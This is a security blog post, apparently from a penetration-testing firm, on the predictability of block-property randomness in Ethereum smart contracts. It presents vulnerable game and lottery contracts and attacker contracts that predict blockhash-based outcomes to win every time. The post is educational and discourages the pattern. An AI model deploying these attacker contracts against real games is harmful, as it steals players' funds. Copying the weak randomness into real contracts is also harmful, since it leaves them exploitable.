
Support
It is widely acknowledged that generating secure random numbers on the Ethereum blockchain is difficult due to its deterministic nature. Each time a smart contract’s function is called inside of a transaction, it must be replayed and verified by the rest of the network. This is crucial so that it is not possible for a miner to manipulate the internal state during execution and modify the result for their own benefit. For example, if the Ethereum Virtual Machine (EVM) provided functionality to generate a random number using a cryptographically secure random source on the miner’s system, it would not be possible to confirm that the random number generated had not been manipulated by the miner. Another more important reason however, is that this would not be determinsitic and if ether is transferred or alternative code paths are taken based on decisions made inside the function as a result of the generated number, the contract’s ether balance and storage state may be inconsistent with the view of the rest of the network.
This post is the first in a three-part series where we will look at some of the techniques developers are using to generate numbers that appear to be random in the deterministic Ethereum environment, and look at how it is possible in-practice to exploit these random number generators for our advantage. Our first post will focus on generating random numbers on-chain and what the security implications of doing so are. In the remaining two posts we will review another two commonly used techniques including using oracles and participatory schemes where numbers are provided via multiple participants.
We have proposed that we cannot trust a single miner to generate a “high quality” random number for our smart contract and that if a “random” number is produced, the same number must be produced when other nodes of the network execute the smart contract code for verification. One method that is commonly used is the use of a Pseudorandom Number Generator (PRNG), which will produce a series of bytes that look random in a deterministic way, based on an initial private seed value and internal state.
The Ethereum blockchain provides a number of block properties that are not controllable by a single user of the network and are only somewhat controllable by miners, such as the timestamp and coinbase. When using these block properties as a source of entropy for an initial seed to a PRNG, it may well look sufficient as the output appears to look random and the seed value cannot be directly manipulated by users of the smart contract.
The following block variables are commonly used when generating random numbers on-chain:
The main advantages of using block properties as a seed for randomness is they are simple to implement and the resulting random numbers are immediately available to the smart contract. This simplicity, speed and lack of dependence on external parties or systems makes the use of block properties a desirable option. It is often assumed that when using block properties as a source of randomness, only miners would be in a position to cheat. For example, if the output number did not work in their favour, they can throw away the block and wait for a new block whereby the generated number worked in their favour.
With the assumption that only miners are able to exploit the number generation using block properties as a seed, there are multiple blog posts, Reddit posts, and Stack Overflow threads regarding when it is safe to use these properties for random number generation. These often incorrectly state that it is acceptable to use block properties only when the potential payout is less than the mining reward, as it would not be beneficial for a malicious miner to throw out the block. However, this is not case, as we will see when we analyse and exploit the vulnerable smart contracts below.
Firstly we will look a naïve, yet not uncommon implementation using the block.blockhash property. The GuessingGame smart contract allows the participant to guess a randomly generated number. If the participant guesses correctly they win twice their initial bet.
pragma solidity 0.4.20;
contract GuessingGame {
address owner;
modifier OnlyOwner() {
require(owner == msg.sender);
_;
}
function GuessingGame() payable {
owner = msg.sender;
}
function withdraw() public payable OnlyOwner {
msg.sender.transfer(this.balance);
}
function badRandom() public view returns(uint) {
uint blockNo = block.number - 1;
uint random_number = uint(block.blockhash(blockNo)) % 10 + 1;
return random_number;
}
function guessNumber(uint8 guess) public payable returns(bool) {
// Guess is in range, we have enough ether to pay out twice the
// bet and minimum bet is met
require(guess <= 10);
require(msg.value > 0.5 ether);
require(this.balance * 2 >= msg.value);
if (guess != badRandom()) {
return false;
}
// we haz a winner!
msg.sender.transfer(msg.value * 2);
return true;
}
}
If we look at the badRandom function, we can see how the random number is generated by casting the blockhash of the previous block to an unsigned integer, then performing a modulus operation:
function badRandom() public view returns(uint) {
uint blockNo = block.number - 1;
uint random_number = uint(block.blockhash(blockNo)) % 10 + 1;
return random_number;
}
This will appear to provide a random value between 1 and 10 (unfortunately this also introduces a modulo bias meaning that some values are more likely than others). As the previous block number is not controllable by an attacker it cannot be manipulated to produce a random number in the attackers favour… however, the seed is known to the attacker. It is therefore possible to predict what the next winning number will be and beat the house. One potential problem with this approach, is that the attacker needs to take the current block number, get the blockhash, generate the next number and make sure their bet was placed in the very next block.
This isn’t very feasible to do manually, however we can get around this by calculating the next winning number on-chain, then make an external contract call to the GuessingGame with the correct number. The following attacker contract will always predict the winning number when the cheat() function is called.
pragma solidity 0.4.20;
contract AlwaysWin {
GuessingGame gameContract;
function AlwaysWin() {
gameContract = GuessingGame(0xe37538be3aee714cef0e8a11c0227d2240fec16f);
}
function withdraw() public payable {
msg.sender.transfer(this.balance);
}
function getBalance() public view returns(uint256) {
return this.balance;
}
function cheat() public payable returns(bool) {
uint nextWinner = uint(block.blockhash(block.number - 1)) % 10 + 1;
return gameContract.guessNumber.value(msg.value)(uint8(nextWinner));
}
function() payable {}
}
The above contract will allow us to always take away the winnings, however, can we still exploit this type of random number generation when the generation takes place at some point in the future? To explore this, we have the following lottery style smart contract where participants can buy a ticket in a draw. When enough tickets have been sold a winner can be selected. A common, but problematic, coding pattern is shown below:
pragma solidity 0.4.20;
contract LuckyDip {
address owner;
address[] drawParticipants;
uint8 requiredParticipants;
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
function LuckyDip() public {
owner = msg.sender;
requiredParticipants = 5;
}
function withdrawFunds() public payable onlyOwner {
msg.sender.transfer(this.balance);
}
function drawWinner() public payable {
require(drawParticipants.length == requiredParticipants);
uint blockNo = block.number - 1;
uint winnerIndex = uint(block.blockhash(blockNo)) % requiredParticipants;
// This should never happen
assert(winnerIndex < drawParticipants.length);
address winner = drawParticipants[winnerIndex];
// reset the participants so the game can continue - you can do this in solidity
drawParticipants.length = 0;
// Pay the winner
winner.transfer(this.balance);
}
function buyTicket() public payable {
require(drawParticipants.length < requiredParticipants);
require(msg.value == 1 ether);
require(!hasAlreadyEntered());
drawParticipants.push(msg.sender);
}
function hasAlreadyEntered() private view returns(bool) {
for (uint8 i = 0; i < drawParticipants.length; i++) {
if (msg.sender == drawParticipants[i]) {
return true;
}
}
return false;
}
}
By looking at the buyTicket function below, there is nothing the attacker can control when buying a ticket, other than waiting for specific tickets to be sold and buying theirs at a specific point, such as waiting for 2 to be sold and then attempting to purchase the 3rd.
function buyTicket() public payable {
require(drawParticipants.length < requiredParticipants);
require(msg.value == 1 ether);
require(!HasAlreadyEntered());
drawParticipants.push(msg.sender);
}
Lets now look at how the winning ticket is chosen:
function drawWinner() public payable {\
require(drawParticipants.length == requiredParticipants);
uint blockNo = block.number - 1;
uint winnerIndex = uint(block.blockhash(blockNo)) % requiredParticipants;
// This should never happen
assert(winnerIndex < drawParticipants.length);
address winner = drawParticipants[winnerIndex];
// reset the participants so the game can continue - you can do this in solidity
drawParticipants.length = 0;
// Pay the winner
winner.transfer(this.balance);
}
Firstly, there is a require statement to ensure that the winner can only be chosen once the required number of tickets have been sold. If this requirement is met the sale is over and a random number is generated. In this case we have no control over what the winnerIndex will be, however we can calculate who the winner will be before invoking the drawWinner() function. Allowing the attacker to wait until a blockhash is used that generates a random number making the attacker the winner.
The problem with this approach is that the attacker needs to know which ticket they have, or at which index in the drawParticipants array their account address is located. Within the blockchain, even private variables are readable by everyone, even if the contract does not directly expose them. The web3.eth.getStorageAt(contractAddress, index) method can be used to look into the contracts persistent storage and identify which ticket is the attackers.
The attacker contract below will take the desired winner index, then calculate if that index is going to win the draw during the current block. If the desired winner is going to be selected, the drawWinner() function is called and the attacker takes home the contract balance. If the attacker is not going to win, the call returns before drawing the winner. The attacker just needs to repeatedly call the cheat(winnerIndex) function until the blockhash outputs a number that results in the correct winner. It is true that this process is going to cost the attacker in transaction fees for each repeated call, however this is likely to be negligible when compared to a games payout.
contract WinLuckyDip {
LuckyDip luckyDipContract;
function WinLuckyDip() public {
luckyDipContract = LuckyDip(0x16d6ca065bb3af786ad5a907be75f92d5c68d73c);
}
function cheat(uint8 winnerIndex) {
uint blockNo = block.number - 1;
uint nextWinnerIndex = uint(block.blockhash(blockNo)) % 5;
if (winnerIndex != nextWinnerIndex) {
return;
}
// If we get here, the next winner is going to be the one we want
luckyDipContract.drawWinner();
}
}
The primary drawback with this approach is that if the drawWinner() function is called by another participant, then the next winner may be chosen at a blocknumber which does not result in the attacker winning. Another issue is that depending on the number of participants, the attacker may need to submit a large number of transactions before they are chosen.
As games are typically designed to be played by real players, rather than other smart contracts, we could look to identify whether the player’s address is a regular Externally Controlled Account (EOA) or a smart contract account. It appears this can currently be achieved by using inline assembly and the EXTCODESIZE opcode, which returns the size of the CODE property of an external Ethereum account using its address. For example, this could be implemented with the following:
contract MoreSecureRand {
modifier onlyEOA {
address caller = msg.sender;
uint size;
assembly {
size := extcodesize(caller)
}
require(size == 0);
_;
}
function rand() public view onlyEOA returns (uint) {
uint blockNo = block.number - 1;
uint random_number = uint(block.blockhash(blockNo)) % 10 + 1;
return random_number;
}
}
This will restrict specific functions from only being called from Externally Owned Accounts and therefore mitigate the attacks outlined above. However, this does not mitigate against attacks from malicious miners and will likely break under future accounts created under the Ethereum account abstraction proposed in EIP-86 which is scheduled for Constantinople Metropolis stage 2.
Support
The practise of generating pseudo-random numbers using block properties is highly discouraged. We have looked at how an attacker can actually exploit such PRNG implementations via external contract calls, which allow an attacker to predict the next number to be generated in the same block. Whilst a partial mitigation does exist to prevent the specific attacks mentioned, block properties and on-chain data are always public and therefore carry the risk that an attacker may be able to predict the winning number and use it for their advantage.
In the following two parts of this series, we will analyse the use of generating random numbers using participatory schemes where numbers are provided via multiple participants, and through the use of external sources of randomness that are consumed via the use of Oracles.
Capability Overview
Cyber Resilience
Product / Service
Penetration Testing Services
About Cyber Solutions:
Cyber security services are offered by Stroz Friedberg Inc., its subsidiaries and affiliates. Stroz Friedberg is part of Aon’s Cyber Solutions which offers holistic cyber risk management, unsurpassed investigative skills, and proprietary technologies to help clients uncover and quantify cyber risks, protect critical assets, and recover from cyber incidents.
General Disclaimer
This material has been prepared for informational purposes only and should not be relied on for any other purpose. You should consult with your own professional advisors or IT specialists before implementing any recommendation, following any of the steps or guidance provided herein. Although we endeavor to provide accurate and timely information and use sources that we consider reliable, there can be no guarantee that such information is accurate as of the date it is received or that it will continue to be accurate in the future.
Terms of Use
The contents herein may not be reproduced, reused, reprinted or redistributed without the expressed written consent of Aon, unless otherwise authorized by Aon. To use information contained herein, please write to our team.
Our Better Being podcast series, hosted by Aon Chief Wellbeing Officer Rachel Fellowes, explores wellbeing strategies and resilience. This season we cover human sustainability, kindness in the workplace, how to measure wellbeing, managing grief and more.
Expert Views on Today's Risk Capital and Human Capital Issues
Expert Views on Today's Risk Capital and Human Capital Issues
Expert Views on Today's Risk Capital and Human Capital Issues
Better Decisions Across Interconnected Risk and People Issues.
The construction industry is under pressure from interconnected risks and notable macroeconomic developments. Learn how your organization can benefit from construction insurance and risk management.
Stay in the loop on today's most pressing cyber security matters.
Our Cyber Resilience collection gives you access to Aon’s latest insights on the evolving landscape of cyber threats and risk mitigation measures. Reach out to our experts to discuss how to make the right decisions to strengthen your organization’s cyber resilience.
Our Employee Wellbeing collection gives you access to the latest insights from Aon's human capital team. You can also reach out to the team at any time for assistance with your employee wellbeing needs.
Explore Aon's latest environmental social and governance (ESG) insights.
Our Global Insurance Market Insights highlight insurance market trends across pricing, capacity, underwriting, limits, deductibles and coverages.
How do the top risks on business leaders’ minds differ by region and how can these risks be mitigated? Explore the regional results to learn more.
Our Human Capital Analytics collection gives you access to the latest insights from Aon's human capital team. Contact us to learn how Aon’s analytics capabilities helps organizations make better workforce decisions.
Explore our hand-picked insights for human resources professionals.
Our Workforce Collection provides access to the latest insights from Aon’s Human Capital team on topics ranging from health and benefits, retirement and talent practices. You can reach out to our team at any time to learn how we can help address emerging workforce challenges.
Our Mergers and Acquisitions (M&A) collection gives you access to the latest insights from Aon's thought leaders to help dealmakers make better decisions. Explore our latest insights and reach out to the team at any time for assistance with transaction challenges and opportunities.
How do businesses navigate their way through new forms of volatility and make decisions that protect and grow their organizations?
Our Parametric Insurance Collection provides ways your organization can benefit from this simple, straightforward and fast-paying risk transfer solution. Reach out to learn how we can help you make better decisions to manage your catastrophe exposures and near-term volatility.
Our Pay Transparency and Equity collection gives you access to the latest insights from Aon's human capital team on topics ranging from pay equity to diversity, equity and inclusion. Contact us to learn how we can help your organization address these issues.
Forecasters are predicting an extremely active 2024 Atlantic hurricane season. Take measures to build resilience to mitigate risk for hurricane-prone properties.
Our Technology Collection provides access to the latest insights from Aon's thought leaders on navigating the evolving risks and opportunities of technology. Reach out to the team to learn how we can help you use technology to make better decisions for the future.
Trade, technology, weather and workforce stability are the central forces in today’s risk landscape.
Our Trade Collection gives you access to the latest insights from Aon's thought leaders on navigating the evolving risks and opportunities for international business. Reach out to our team to understand how to make better decisions around macro trends and why they matter to businesses.
With a changing climate, organizations in all sectors will need to protect their people and physical assets, reduce their carbon footprint, and invest in new solutions to thrive. Our Weather Collection provides you with critical insights to be prepared.
Our Workforce Resilience collection gives you access to the latest insights from Aon's Human Capital team. You can reach out to the team at any time for questions about how we can assess gaps and help build a more resilience workforce.